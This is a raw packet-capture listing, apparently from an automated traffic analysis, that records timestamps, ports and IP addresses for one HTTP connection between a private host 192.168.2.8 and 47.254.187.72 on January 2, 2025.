Jan 2, 2025 20:20:02.564270973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564277887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564282894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564296961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564311028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564333916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564335108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564358950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564364910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564373016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564376116 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564387083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564399004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564409018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564412117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564423084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564435005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564436913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564448118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564460993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564465046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564483881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564496040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564501047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564507961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564522028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564528942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564536095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564546108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564546108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564558029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564558983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564572096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564584970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564604044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564615965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564626932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564632893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564640045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564646959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564659119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564671040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564682007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564685106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564685106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564685106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564694881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564703941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564706087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564717054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564730883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564764023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.639332056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.639389038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.639400959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.639420986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.639434099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.639445066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.639457941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.639471054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.639476061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.639476061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.639504910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.639514923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652327061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652339935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652354956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652389050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652396917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652419090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652431965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652435064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652446985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652460098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652475119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652478933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652489901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652507067 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652508974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652528048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652534008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652542114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652553082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652554989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652575970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652594090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652599096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652625084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652642965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652667999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652719975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652755976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652767897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652769089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652801037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652807951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652823925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652848959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652849913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652862072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652873993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.652875900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652895927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.652921915 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653300047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653311968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653326035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653342962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653353930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653361082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653368950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653373003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653388023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653397083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653400898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653414965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653420925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653469086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653490067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653503895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653508902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653508902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653517962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653531075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653542995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653573036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653573036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653573036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653573036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653609037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653614044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653625965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653637886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653649092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653675079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653697014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653697014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653708935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653722048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653738976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653744936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653759956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653781891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653795004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653805017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653811932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653816938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653820992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653820992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653820992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653825998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653841972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653876066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653911114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.653954983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653965950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653978109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.653990984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654004097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654006958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654016018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654028893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654032946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654032946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654042006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654064894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654113054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654373884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654449940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654460907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654472113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654484034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654495955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654508114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654520035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654529095 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654537916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654541969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654555082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654566050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654577017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654582977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654587030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654597044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654613972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654627085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654627085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654634953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654639959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654654026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.654660940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.654690027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.655030966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.655044079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.655065060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.655076981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.655085087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.655090094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.655106068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.655107975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.655127048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.655139923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.655142069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.655162096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.655191898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657433987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657447100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657459021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657481909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657510042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657597065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657614946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657628059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657639027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657639027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657654047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657653093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657668114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657675982 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657682896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657695055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657705069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657727003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657736063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657747030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657757998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657757998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657771111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657784939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657784939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657797098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657812119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657814980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657823086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657835007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657835007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657847881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657855034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657860994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657872915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657881975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657885075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657897949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657908916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657912016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657921076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.657932997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657943010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.657973051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.730112076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.730127096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.730139971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.730155945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.730168104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.730206966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.730248928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.773720026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.773870945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.778558016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778570890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778582096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778613091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.778657913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.778717041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778728962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778739929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778752089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778770924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.778791904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.778820038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.778871059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778883934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778893948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778908014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778914928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.778919935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778934956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778938055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.778942108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778949976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778960943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778973103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778984070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.778985977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.778997898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779011011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779011965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779031038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779035091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779043913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779057026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779057980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779069901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779078007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779083014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779097080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779108047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779109001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779122114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779122114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779135942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779148102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779167891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779175997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779181004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779194117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779201031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779206038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779218912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779220104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779237032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779247046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779251099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779263020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779277086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779287100 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779289007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779309034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779309988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779325962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779333115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779339075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779352903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779361963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779362917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779376030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779376984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779382944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779391050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779397011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779409885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779421091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779423952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779438019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779438972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779459000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779464960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779479980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779490948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779496908 CET	49704	80	192.168.2.8	47.254.187.72
